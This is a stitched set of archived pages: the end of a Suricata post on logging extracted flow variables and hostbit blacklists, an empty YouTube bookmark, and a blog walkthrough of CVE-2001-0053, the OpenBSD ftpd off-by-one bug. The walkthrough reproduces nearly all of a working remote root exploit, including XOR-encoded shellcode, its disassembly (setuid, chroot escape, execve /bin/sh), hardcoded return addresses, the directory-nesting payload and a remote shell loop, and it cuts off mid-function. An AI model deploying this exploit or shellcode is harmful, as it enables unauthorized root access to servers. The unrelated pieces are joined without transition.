``"/x.exe"``,`` ``"http_user_agent"``: ``"Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1)"``,`` ``"http_content_type"``: ``"application/octet-
stream"``,`` ``"http_method"``: ``"GET"``,`` ``"protocol"``: ``"HTTP/1.1"``,``
``"status"``: 200,`` ``"length"``: 23040`` ``},`` ``"vars"``: {``
``"flowbits"``: {`` ``"exe.no.referer"``: ``true``,``
``"http.dottedquadhost"``: ``true``,`` ``"ET.http.binary"``: ``true`` ``}``
``}``}`  
---|---  
When rules are created to extract info and set specific ‘information’
flowbits, logging can create value:

1234567891011| `"vars"``: {`` ``"flowbits"``: {`` ``"port/http"``: ``true``,``
``"ua/os/windows"``: ``true``,`` ``"ua/tool/msie"``: ``true`` ``},``
``"flowvars"``: {`` ``"ua/tool/msie/version"``: ``"6.0"``,``
``"ua/os/windows/version"``: ``"5.1"`` ``}``}`  
---|---  
123456789101112131415161718192021| `"http"``: {`` ``"hostname"``:
``"db.local.clamav.net"``,`` ``"url"``: ``"/daily-15405.cdiff"``,``
``"http_user_agent"``: ``"ClamAV/0.97.5 (OS: linux-gnu, ARCH: x86_64, CPU:
x86_64)"``,`` ``"http_content_type"``: ``"application/octet-stream"``,``
``"http_method"``: ``"GET"``,`` ``"protocol"``: ``"HTTP/1.0"``,``
``"status"``: 200,`` ``"length"``: 1688``},``"vars"``: {`` ``"flowbits"``: {``
``"port/http"``: ``true``,`` ``"ua/os/linux"``: ``true``,`` ``"ua/arch/x64"``:
``true``,`` ``"ua/tool/clamav"``: ``true`` ``},`` ``"flowvars"``: {``
``"ua/tool/clamav/version"``: ``"0.97.5"`` ``}``}`  
---|---  
In the current code the alert and http logs are showing the ‘vars’.

Next to this, a ‘eve.vars’ log is added, which is a specific output of vars
independent of other logs.

## Use cases

Some of the use cases could be to add more information to logs without having
to add code. For example, I have a set of rules that set of rules that
extracts the packages are installed by apt-get or for which Ubuntu’s updater
gets change logs:

123456789101112| `"vars"``: {`` ``"flowbits"``: {`` ``"port/http"``:
``true``,`` ``"ua/tech/python/urllib"``: ``true`` ``},`` ``"flowvars"``: {``
``"ua/tech/python/urllib/version"``: ``"2.7"``,`` ``"ua/ubuntu/repo"``:
``"main"``,`` ``"ua/ubuntu/pkg/base"``: ``"libxml2"``,``
``"ua/ubuntu/pkg/version"``: ``"libxml2_2.7.8.dfsg-5.1ubuntu4.2"`` ``}``}`  
---|---  
It could even be used as a simple way to ‘parse’ protocols and create logging
for them.

## Performance

Using rules to extract data from traffic is not going to be cheap for 2
reasons. **First** , Suricata’s performance mostly comes from avoiding
inspecting rules. It has a lot of tricks to make sure as little rules as
possible are evaluated. Likewise, the rule writers work hard to make sure
their rules are only evaluated if they have a good chance of matching.

The rules that extract data from user agents or URI’s are going to be matching
very often. So even if the rules are written to be efficient they will still
be evaluated a lot.

**Secondly** , extraction currently can be done through PCRE and through Lua
scripts. Neither of which are very fast.

## Testing the code

Check out this branch https://github.com/inliniac/suricata/pull/2468 or it’s
replacements.

## Bonus: unix socket hostbits

Now that variable names can exist outside of the detection engine, it’s also
possible to add unix socket commands that modify them. I created this for
‘hostbits’. The idea here is to simply use hostbits to implement
white/blacklists. A set of unix socket commands will be added to manage
add/remove them. The existing hostbits implementation handles expiration and
matching.

To block on the blacklist:

[code]

    drop ip any any -> any any (hostbits:isset,blacklist; sid:1;)
[/code]

To pass all traffic on the whitelist:

[code]

    pass ip any any -> any any (hostbits:isset,whitelist; sid:2;)
[/code]

Both rules are ‘ip-only’ compatible, so will be efficient.

A major advantage of this approach is that the black/whitelists can be  
modified from ruleset themselves, just like any hostbit.

E.g.:

[code]

    alert tcp any any -> any any (content:"EVIL"; \
        hostbits:set,blacklist; sid:3;)
[/code]

A new ‘list’ can be created this way by simply creating a rule that  
references a hostbit name.

### Unix Commands

Unix socket commands to add and remove hostbits need to be added.

Add:

12| `suricatasc -c ``"add-hostbit <ip> <hostbit> <expire>"``suricatasc -c
``"add-hostbit 1.2.3.4 blacklist 3600"`  
---|---  
If an hostbit is added for an existing hostbit, it’s expiry timer is updated.

Hostbits expire after the expiration timer passes. They can also be manually
removed.

Remove:

12| `suricatasc -c ``"remove-hostbit <ip> <hostbit>"``suricatasc -c ``"remove-
hostbit 1.2.3.4 blacklist"`  
---|---  
## Feedback & Future work

I’m looking forward to getting some feedback on a couple of things:

  * log output structure and logic. The output needs to be parseable by things like ELK, Splunk and jq.
  * pcre options notation
  * general feedback about how it runs

Some things I’ll probably add:

  * storing extracted data into hosts, ippairs
  * more logging

Some other ideas:

  * extraction using a dedicated keyword, so outside of pcre
  * ‘int’ extraction

Let me know what you think\!

### Share:

  * Click to share on Twitter \(Opens in new window\)
  * Share on Facebook \(Opens in new window\)
  * 2Click to share on LinkedIn \(Opens in new window\)2
  * Click to share on Google+ \(Opens in new window\)
  * 

 Like

Be the first to like this.

### _Related_

Suricata debuggingIn "oisf"

Suricata has been added to Debian BackportsIn "Debian"

Listening on multiple interfaces with SuricataIn "ids"

This entry was posted in Development, ids, IPS, Suricata and tagged hostbits,
pcre, Suricata, unix socket by inliniac. Bookmark the permalink.

  

# Kanal von AtGoogleTalks‬‏ - YouTube

**Created:**| _8/1/2011 7:57:19 AM_  
---|---  
**Updated:**| _8/3/2011 7:11:20 AM_  
**Author:**| __  
**Tags:**| _bookmark tmp_  
  
‪Kanal von AtGoogleTalks‬‏ - YouTube

# CVE-2001-0053: OpenBSD FTPd Remote off-by-one Overwrite « xorl %eax, %eax

**Created:**| _1/13/2010 11:13:00 AM_  
---|---  
**Updated:**| _1/13/2010 11:13:11 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit LOLZ_  
  

## CVE-2001-0053: OpenBSD FTPd Remote off-by-one Overwrite

Since I didn’t find any cool public bug to write about, I’ll blog about one of
the most historical remote exploits since it was the first public, remotely
exploitable vulnerability in OpenBSD. So… Here is the story…  
The bug was discovered by some anonymous person and it was exploited by three
amazingly awesome coders… The two synnergy members dvorak and Scrippie, and
jimjones\!\!\!  
Unfortunately, this unique bug was killed in a pretty bad way by some guy
named Kris Vlaardingenbroek who even claimed that he discovered it, to read
further details you can refer to the initial comments’ section of the original
obsd-ftpd.c which is available on Synnergy Networks’ website here.  
Now, let’s have a look at the vulnerability as seen in OpenBSD 2.8’s
libexec/ftpd/ftpd.c file…

[code]

    void
    replydirname(name, message)
            const char *name, *message;
    {
            char npath[MAXPATHLEN];
            int i;
    
            for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
                    npath[i] = *name;
                    if (*name == '"')
                            npath[++i] = '"';
            }
            npath[i] = '\0';
            reply(257, "\"%s\" %s", npath, message);
    }
    
    
[/code]

From the function’s name we can easily deduce that it’s used to provide a
reply with the directory name. Specifically, it allocates ‘MAXPATHLEN’ bytes
\(which was defined as 1024\) on the stack and then enters a ‘for’ loop that
will iterate through each character of the passed argument ‘name’ until either
‘name’ reaches its NULL termination or the counter ‘i’ becomes equal to
‘MAXPATHLEN – 1′. Inside this loop, each character of the ‘name’ string will
be copied to the stack allocated ‘npath’ array and in case of a double quote
character, ‘i’ counter will be incremented once again and it’ll append that
character too.  
At last, the NULL termination takes place and reply\(\) is called with code
“257″ which stands for ‘”PATHNAME” created.’ as we can read at RFC-959. The
problem with the above code is that ‘i’ is incremented inside the loop and
thus when exiting the ‘for’ loop it could contain a value equal to
’sizeof\(npath\)’ since it could have been incremented twice during the last
iteration. The subsequent NULL termination that uses this as an index will
result in an off-by-one overflow since the NULL byte will be written beyond
the bounds of ‘npath’ array.  
To fix this, OpenBSD developed the following patch:

[code]

     {
    +       char *p, *ep;
            char npath[MAXPATHLEN];
    -       int i;
    
    -       for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
    -               npath[i] = *name;
    -               if (*name == '"')
    -                       npath[++i] = '"';
    +       p = npath;
    +       ep = &npath[sizeof(npath) - 1];
    +       while (*name) {
    +               if (*name == '"' && ep - p >= 2) {
    +                       *p++ = *name++;
    +                       *p++ = '"';
    +               } else if (ep - p >= 1)
    +                       *p++ = *name++;
    +               else
    +                       break;
            }
    -       npath[i] = '\0';
    +       *p = '\0';
            reply(257, "\"%s\" %s", npath, message);
     }
    
    
[/code]

Basically, the whole function was re-written to use a ‘while’ loop and
explicitly check that there is enough space between ‘ep’ and ‘p’ to add the
NULL termination byte. To reach this routine, the attacker should somehow have
access to a directory of the FTP server in order to successfully request to
print the working directory \(PWD command from FTP’s RFC\) and thus, trigger
this routine which will in turn trigger the overflow if the path is 1024 bytes
long and it ends with a double quote character.  
Obviously, this isn’t the most trivial to remotely exploit vulnerability but
dvorak, Scrippie and jimjones did it\! Let’s have a look at their amazing
obsd-ftpd.c…

[code]

    #include <stdio.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <limits.h>
    
    void usage(char *program);
    char *strcreat(char *, char *, int);
    char *longToChar(unsigned long);
    char *xrealloc(void *, size_t);
    void xfree(char **ptr);
    char *xmalloc(size_t);
    int xconnect(char *host, u_short port);
    void xsend(int fd, char *buf);
    void xsendftpcmd(int fd, char *command, char *param);
    void xrecieveall(int fd, char *buf, int size);
    void xrecieve(int fd, char *buf, int size);
    void ftp_login(int fd, char *user, char *password);
    void exploit(int fd);
    
    int verbose = 0;
    
    /*
       Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
       to get rid of dots and slashes.
    */
    
    char heavenlycode[] =
    "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
    "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8"
    "\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc"
    "\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5"
    "\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a"
    "\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5"
    "\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9"
    "\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44"
    "\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84"
    "\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94"
    "\xd9\xd3";
    
    
[/code]

There aren’t many things to discuss here apart from the ‘heavenlycode’
shellcode. Since it would be useless to try to explain what it does without
demonstrating its original code, here is the equivalent assembly code for it…

[code]

    xor eax,eax   ; zero out EAX
    mov ecx,eax   ; set ECX to zero
    add cl,0x2    ; add 2 to CL
    push ecx      ; push ECX to the stack
    push eax      ; push EAX to the stack
    add al,0x5a   ; add 90 to AL
    push eax      ; push EAX to the stack
                  ; which is the syscall number and on BSD
                  ; derivatives this value needs to be on the stack
    int 0x80      ; interrupt the kernel to execute:
                  ; dup2(0, 2)
    
    
[/code]

And the code continues like this…

[code]

    jmp short 0x12          ; Jump 18 bytes ahead
    pop esi                 ; pop the value of the stack
                            ; and store it in ESI
    xor ecx,ecx             ; zero out ECX
    mov cl,0x4a             ; move 74 to CL
    xor word [esi],0xaabb   ; perform a logical XOR operation
                            ; on the word pointed by ESI with
                            ; the hardcoded value 0xAABB
    inc esi                 ; increment ESI
    inc esi                 ; increment ESI
                            ; (because it XORs in two bytes on each iteration)
    loop 0x7                ; loop the previous 7 bytes
                            ; which is the code from the XOR
                            ; encryption and below
    jmp short 0x17          ; this jump will be executed after
                            ; the loop has been completed
    call dword 0x2          ; this is a dummy call that resides in
                            ; the 18th byte and it's used to store
                            ; its location on the stack which is
                            ; popped to ESI (see above)
    
    
[/code]

So, this was basically the XOR decryption that uses 0xAABB in order to have an
ASCII printable shellcode. Now, the decrypted shellcode is the following:

[code]

    xor eax,eax             ; zero out EAX
    push eax                ; push EAX on the stack
    add al,0x17             ; add 23 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; setuid(0)
    
    
[/code]

And the shellcode continues like that:

[code]

    push esi                ; push ESI on the stack
    xor eax,eax             ; zero out EAX
    mov [esi+0x1],al        ; the next byte of ESI pointer
                            ; is zeroed out
    add al,0x88             ; add 136 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; mkdir(ESI, 0)
    
    xor eax,eax             ; zero out EAX
    push eax                ; push EAX on the stack
    mov [esi+0x1f],al       ; NULL terminate the string in ESI
    lea ebx,[esi+0x1e]      ; load the string to EBX
    push ebx                ; push EBX on the stack
    add al,0x5              ; add 5 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; open("../../../../../../../../../..", 0)
    
    mov ecx,eax             ; move 5 to ECX
    push esi                ; push ESI (string) on the stack
    xor eax,eax             ; zero out EAX
    add al,0x3d             ; add 61 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; chroot("../../../../../../../../../..")
    
    push ecx                ; push ECX on the stack
    xor eax,eax             ; zero out EAX
    add al,0xe              ; add 14 to AL
    dec eax                 ; decrement EAX by one
    push eax                ; push EAX on the stack
    int 0x80                ; fchdir(ECX)
    
    lea ebx,[esi+0x2]       ; load EBX with the string[2] from ESI
    push ebx                ; push EBX on the stack
    xor eax,eax             ; zero out EAX
    add al,0xc              ; add 12 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; chdir("..")
    
    lea ebx,[esi+0x1e]      ; load EBX with string[30] from ESI
    push ebx                ; push EBX on the stack
    xor eax,eax             ; zero out EAX
    add al,0x3d             ; add 61 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; chroot("../..")
    
    xor eax,eax             ; zero out EAX
    push eax                ; push EAX on the stack
    mov [esi+0x27],al       ; NULL terminate string[39]
    lea ebx,[esi+0x28]      ; load EBX with string[39] from ESI
    push ebx                ; push EBX on the stack
    lea ebx,[esi+0x20]      ; load EBX with string[32] from ESI
    mov [esi+0x28],ebx      ; move EBX's value to string[40]
    mov [esi+0x2c],eax      ; move EBX's value to string[44]
    push ebx                ; push EBX on the stack
    add al,0x3b             ; add 59 to AL
    push eax                ; push EAX on the stack
    int 0x80                ; execve("/bin/sh" ...)
    
    
[/code]

Now that we have a basic understanding of the shellcode that will be passed to
the FTP server let’s continue with the code.

[code]

    char user[255] = "anonymous";
    char pass[255] = "anonymous@abc.com";
    char write_dir[PATH_MAX] = "/";
    int ftpport = 21;
    unsigned long int ret_addr = 0;
    #define CMD_LOCAL 0
    #define CMD_REMOTE 1
    int command_type = -1;
    char *command = NULL;
    
    struct typeT {
            char *name;
            unsigned long int ret_addr;
    };
    
    #define NUM_TYPES 2
    struct typeT types[NUM_TYPES] = {
            "OpenBSD 2.6", 0xdfbfd0ac,
            "OpenBSD 2.7", 0xdfbfd0ac};
    
    
[/code]

Well, there’s nothing notable here apart from the ‘types\[\]‘ structure which
has some hardcoded addresses that will be used later as the return addresses
for both OpenBSD 2.6 and 2.7 which were vulnerable to this bug. The next
routine is quite simple…

[code]

    void
    usage(char *program)
    {
            int i;
            fprintf(stderr,
                    "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n"
                    "Directory should be an absolute path, writable by the user.\n"
                    "The argument of -c will be executed on the remote host\n"
                    "while the argument of -C will be executed on the local\n"
                    "with its filedescriptors connected to the remote host\n"
                    "Valid types:\n",
                    program);
            for (i = 0; i < NUM_TYPES; i++) {
                    printf("%d : %s\n", i,  types[i].name);
            }
            exit(-1);
    }
    
    
[/code]

It’s the program’s usage routine which informs us about the various options
available in the exploit. The main\(\) function starts after this one, here is
its first part…

[code]

    main(int argc, char **argv)
    {
            unsigned int i;
            int opt, fd;
            unsigned int type = 0;
            char *hostname = "localhost";
    
            if (argc < 2)
                    usage(argv[0]);
    
            while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
                    switch (opt) {
                    case 'h':
                            hostname = optarg;
                            break;
                    case 'C':
                            command = optarg;
                            command_type = CMD_LOCAL;
                            break;
                    case 'c':
                            command = optarg;
                            command_type = CMD_REMOTE;
                            break;
                    case 'r':
                            ret_addr = strtoul(optarg, NULL, 0);
                            break;
                    case 'v':
                            verbose++;
                            break;
                    case 'f':
                            if (!(ftpport = atoi(optarg))) {
                                    fprintf(stderr, "Invalid destination port - %s\
    n", optarg);
                                    exit(-1);
                            }
                            exit(-1);
                            break;
                    case 'u':
                            strncpy(user, optarg, sizeof(user) - 1);
                            user[sizeof(user) - 1] = 0x00;
                            break;
                    case 'p':
                            strncpy(pass, optarg, sizeof(pass) - 1);
                            pass[sizeof(pass) - 1] = 0x00;
                            break;
                    case 'd':
                            strncpy(write_dir, optarg, sizeof(write_dir) - 1);
                            write_dir[sizeof(write_dir) - 1] = 0x00;
                            if ((write_dir[0] != '/'))
                                    usage(argv[0]);
                            if ((write_dir[strlen(write_dir) - 1] != '/'))
                                    strncat(write_dir, "/", sizeof(write_dir) - 1);
                            break;
                    case 't':
                            type = atoi(optarg);
                            if (type > NUM_TYPES)
                                    usage(argv[0]);
                            break;
                    default:
                            usage(argv[0]);
                    }
            }
    
    
[/code]

This is just some arguments’ parsing code using getopt\(3\) library routine,
nothing really important to describe any further. After identifing and
initializing the appropriate options, main\(\)’s code will continue like this:

[code]

            if (ret_addr == 0)
                    ret_addr = types[type].ret_addr;
            if ((fd = xconnect(hostname, ftpport)) == -1)
                    exit(-1);
            else
                    printf("Connected to remote host! Sending evil codes.\n");
    
            ftp_login(fd, user, pass);
            exploit(fd);
    
    }
    
    
[/code]

If no return address was set by the user, it will use the one of the hardcoded
ones depending on the user’s selection. Then, it will invoke the xconnect\(\)
wrapper function passing the hostname and the listening port of the remote FTP
server, if it successfully returned from this call, it will call
ftp\_login\(\) on that socket descriptor, passing the provided \(or the pre-
defined\) username and password. Finally, exploit\(\) will be used on the open
socket descriptor of the FTP connection.  
First of all, let’s have a look at the xconnect\(\) wrapper routine…

[code]

    int
    xconnect(char *host, u_short port)
    {
            struct hostent *he;
            struct sockaddr_in s_in;
            int fd;
    
            if ((he = gethostbyname(host)) == NULL) {
                    perror("gethostbyname");
                    return (-1);
            }
            memset(&s_in, 0, sizeof(s_in));
            s_in.sin_family = AF_INET;
            s_in.sin_port = htons(port);
            memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
    
            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                    perror("socket");
                    return (-1);
            }
            if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)
            {
                    perror("connect");
                    return (-1);
            }
            return fd;
    }
    
    
[/code]

Probably what you’ve been expecting, it resolves the hostname using
gethostbyname\(3\) and after initializing the socket structure, it opens up a
socket using the equivalent system call and at last, it calls connect\(2\) to
connect to the remote host. If there’s no error, it will return the file
descriptor of the opened/connected socket.  
Now, the ftp\_login\(\) function does the following…

[code]

    /* returns status from ftpd */
    void
    ftp_login(int fd, char *user, char *password)
    {
            char reply[512];
            int rep;
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose) {
                    printf("Logging in ..\n");
                    printf("%s\n", reply);
            }
            xsendftpcmd(fd, "USER", user);
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose)
                    printf("%s\n", reply);
            xsendftpcmd(fd, "PASS", password);
            xrecieveall(fd, reply, sizeof(reply));
            if (verbose)
                    printf("%s\n", reply);
    
            if (reply[0] != '2') {
                    printf("Login failed.\n");
                    exit(-1);
            }
    }
    
    
[/code]

Here we have calls to numerous wrapper routines. Firstly to xrecieveall\(\)
which will receive the banner that the FTP server will send exactly after the
connection takes place. ftp\_login\(\) will then use xsendftpcmd\(\) to send
the simple FTP command:

[code]

    USER [username]
    
    
[/code]

And then receive the FTP’s reply using xrecieveall\(\), the same operation is
performed for the password command which is:

[code]

    PASS [password]
    
    
[/code]

After receiving the FTP’s reply it will check that the reply starts with ‘2′.
On a successful login, FTP servers should prefix the reply with “230″
according to RFC-959. This is why the above check is being placed there.  
So, here is the xrecieveall\(\) wrapper function…

[code]

    void
    xrecieveall(int fd, char *buf, int size)
    {
            char scratch[6];
    
            if (buf == NULL || size == 0) {
                    buf = scratch;
                    size = sizeof(scratch);
            }
            memset(buf, 0, size);
            do {
                    xrecieve(fd, buf, size);
            } while (buf[3] == '-');
    }
    
    
[/code]

Basically it will keep recieving data using xrecieve\(\) as long as the 3rd
byte of the line that it received is ‘-’. This is done because FTP replies
have the format of:

[code]

    XXX-S
    
    
[/code]

Where XXX is a 3 letter code consisting of numbers and the S is an variable
length string. Here is the xreceive\(\) routine as well.

[code]

    /* recieves a line from the ftpd */
    void
    xrecieve(int fd, char *buf, int size)
    {
            char *end;
            char ch;
    
            end = buf + size;
    
            while (buf < end) {
                    if (read(fd, buf, 1) != 1) {
                            perror("read"); /* XXX */
                            exit(-1);
                    }
                    if (buf[0] == '\n') {
                            buf[0] = '\0';
                            return;
                    }
                    if (buf[0] != '\r') {
                            buf++;
                    }
            }
            buf--;
            while (read(fd, buf, 1) == 1) {
                    if (buf[0] == '\n') {
                            buf[0] = '\0';
                            return;
                    }
            }
            perror("read");         /* XXX */
            exit(-1);
    }
    
    
[/code]

A simple wrapper around read\(2\) that will NULL terminate the string received
on newline character. Next, we’ll have a look at xsendftpcmd\(\) which was
used earlier and it contains the following code:

[code]

    void
    xsendftpcmd(int fd, char *command, char *param)
    {
            xsend(fd, command);
    
            if (param != NULL) {
                    xsend(fd, " ");
                    xsend(fd, param);
            }
            xsend(fd, "\r\n");
    }
    
    
[/code]

It will initially just call xsend\(\) to send the command passed to it as an
argument to the given socket descriptor and if no parameters are set it will
terminate/execute the command \(as it’s defined in RFC-959\) by sending a
carriage return & newline sequence. Otherwise, it will send the parameters
before terminating the command.  
Here is the xsend\(\) wrapper function too:

[code]

    void
    xsend(int fd, char *buf)
    {
    
            if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
                    perror("send");
                    exit(-1);
            }
    }
    
    
[/code]

As you might have been expecting, a common wrapper around send\(2\) system
call. Finally, we can move to the exploit\(\) function which is the most
interesting one…

[code]

    void exploit(int fd)
    {
            char res[1024];
            int heavenlycode_s;
            char *dir = NULL;
    
            ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");
    
    
[/code]

It will first call ftp\_cmd\_err\(\) which will execute the code below.

[code]

    int
    ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg
    )
    {
            xsendftpcmd(fd, command, param);
            xrecieveall(fd, res, size);
    
            if (res == NULL)
                    return 0;
            if (verbose)
                    printf("%s\n", res);
            if (msg && (res[0] != '2')) {
                    fprintf(stderr, "%s\n", msg);
                    exit(-1);
            }
            return (res[0] != '2');
    }
    
    
[/code]

Basically, it will attempt to send the:

[code]

    CWD [write_dir]
    
    
[/code]

FTP command and if this fails, it will print the “Can’t CWD to write\_dir”
error message and exit. This is to ensure that has access to the given
directory using CWD \(Change Working Directory\) FTP command. Back to
exploit\(\) we have…

[code]

            dir = strcreat(dir, "A", 255 - strlen(write_dir));
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 256 */
    
    
[/code]

Pointer ‘dir’ is initiallized with the return value of strcreat\(\) which is a
function that will return the string passed to it as its second argument for
as many times as its third argument states. So, ‘dir’ will be in the form of:

[code]

    [write_dir]["A" characters up to 255 - strlen(write_dir)]
    
    
[/code]

Here is this routine that performs this operation…

[code]

    char *
    strcreat(char *dest, char *pattern, int repeat)
    {
            char *ret;
            size_t plen, dlen = 0;
            int i;
    
            if (dest)
                    dlen = strlen(dest);
            plen = strlen(pattern);
    
            ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
    
            if (!dest)
                    ret[0] = 0x00;
    
            for (i = 0; i < repeat; i++) {
                    strcat(ret, pattern);
            }
            return (ret);
    }
    
    
[/code]

And as you might have guessed, xrealloc\(\) is a very simple wrapper which you
can see here:

[code]

    char *
    xrealloc(void *ptr, size_t size)
    {
            char *wittgenstein_was_a_drunken_swine;
    
            if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))
    {
                    fprintf(stderr, "Cannot calculate universe\n");
                    exit(-1);
            }
            return (wittgenstein_was_a_drunken_swine);
    }
    
    
[/code]

After constructing the ‘dir’ string, exploit\(\) will call ftp\_cmd\_err\(\)
twice to execute the two following FTP commands:

[code]

    MKD [dir]
    CWD [dir]
    
    
[/code]

Which will create \(MKD – MaKe Directory\) the ‘dir’ directory and then
attempt to access it using CWD \(Change Working Directory\). At last, it will
free the heap allocated space of ‘dir’ pointer using xfree\(\) which is shown
below.

[code]

    void
    xfree(char **ptr)
    {
            if (!ptr || !*ptr)
                    return;
            free(*ptr);
            *ptr = NULL;
    }
    
    
[/code]

And the exploit\(\)’s code will move one like this…

[code]

            dir = strcreat(dir, "A", 255);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 512 */
    
    
[/code]

Another directory with filename “A” x 255 is created and then the working
directory is changed to this one…

[code]

            heavenlycode_s = strlen(heavenlycode);
            dir = strcreat(dir, "A", 254 - heavenlycode_s);
            dir = strcreat(dir, heavenlycode, 1);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* next on = 768 */
    
    
[/code]

A third one is now created which contains the shellcode in its filename and
the rest string is padded with “A” characters. The next directory that will be
created is the following…

[code]

            dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
            /* length = 1020 */
    
    
[/code]

The next directory will be filled with the return address inserted multiple
times after it has been converted to string using the longToChar\(\) function
which you can see here:

[code]

    char *
    longToChar(unsigned long blaat)
    {
            char *ret;
    
            ret = (char *) xmalloc(sizeof(long) + 1);
            memcpy(ret, &blaat, sizeof(long));
            ret[sizeof(long)] = 0x00;
    
            return (ret);
    }
    
    
[/code]

A really simple code that copies an unsigned long integer passed to it as an
argument to a string and stores it in heap space using xmalloc\(\) wrapper
routine which is this:

[code]

    char *
    xmalloc(size_t size)
    {
            char *heidegger_was_a_boozy_beggar;
    
            if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
                    fprintf(stderr, "Out of cheese error\n");
                    exit(-1);
            }
            return (heidegger_was_a_boozy_beggar);
    }
    
    
[/code]

Back to exploit\(\) we’ve almost reached the 1024 bound limit of the stack
allocated buffer in FTP daemon, here is the following code of exploit\(\)…

[code]

            /* 1022 moet " zijn */
            dir = strcreat(dir, "AAA\"", 1);
            ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
            ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
            xfree(&dir);
    
    
[/code]

This will create the final directory which has filename of “AAA”", notice the
trailing double quote character. This will trigger the second increment of ‘i’
inside replydirname\(\) and consequently, the off-by-one overwrite. By now,
the buffer looks like this:

[code]

    dir1: write_dir / lots of "A"  --> 256
    dir2: 255 x "A"                --> 512
    dir3: shellcode + "A" padding  --> 768
    dir4: return address x 63      --> 1020
    dir5: AAA“                     --> 1024
    
    
[/code]

And now the exploit\(\) code will execute this:

[code]

            /* and tell it to blow up */
            ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);
    
            if (!exploit_ok(fd)) {
                    if (command != NULL) {
                            exit (2);
                    }
                    fprintf(stderr, "Exploit failed\n");
                    exit (1);
            }
            if (command == NULL)
                    shell(fd);
            else
                    do_command(fd);
    }
    
    
[/code]

It will use PWD \(Print Working Directory\) FTP command to trigger the
overflow. The NULL byte will overwrite the least significant byte \(on little-
endian processors\) of the frame pointer \(stored EBP\) on the stack. When the
function epilogue will take place, the stored frame pointer will be moved to
the stack pointer in order to return to the previous stack frame. However,
since EBP’s value is invalid because of the off-by-one overwrite, the code
will jump to an invalid stack frame and when ‘ret’ instruction will attempt to
pop the stored EIP from the stack it will pop an incorrect value which happens
to be in the range of the 4th directory that the exploit created\!  
Because of this, the EIP will pop the given return address from this location
on the stack and jump to it. But as you might have noticed this is the
location of the shellcode which means that it will jump and execute the
shellcode which in turn, it will execute its decryptor function to perform the
XOR decryption on the following bytes and then execute that code\! Just
awesome\!  
If everything worked as expected, then exploit\_ok\(\) will execute the
following code…

[code]

    int exploit_ok(int fd)
    {
            char result[1024];
            xsend(fd, "id\n");
    
            xrecieve(fd, result, sizeof(result));
            return (strstr(result, "uid=") != NULL);
    }
    
    
[/code]

The code will attempt to execute the ‘id’ command and if the reply returned
something that contains “uid=” which is almost certainly returned by the ‘id’
output it assumes that the exploit succeeded. Then, if no command is
specified, the exploit will spawn a shell to the remote box using the
shell\(\) function which is shown below:

[code]

    void shell(int fd)
    {
            fd_set readfds;
            char buf[1];
            char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";
    
            write(fd, tst, strlen(tst));
            while (1) {
                    FD_ZERO(&readfds);
                    FD_SET(0, &readfds);
                    FD_SET(fd, &readfds);
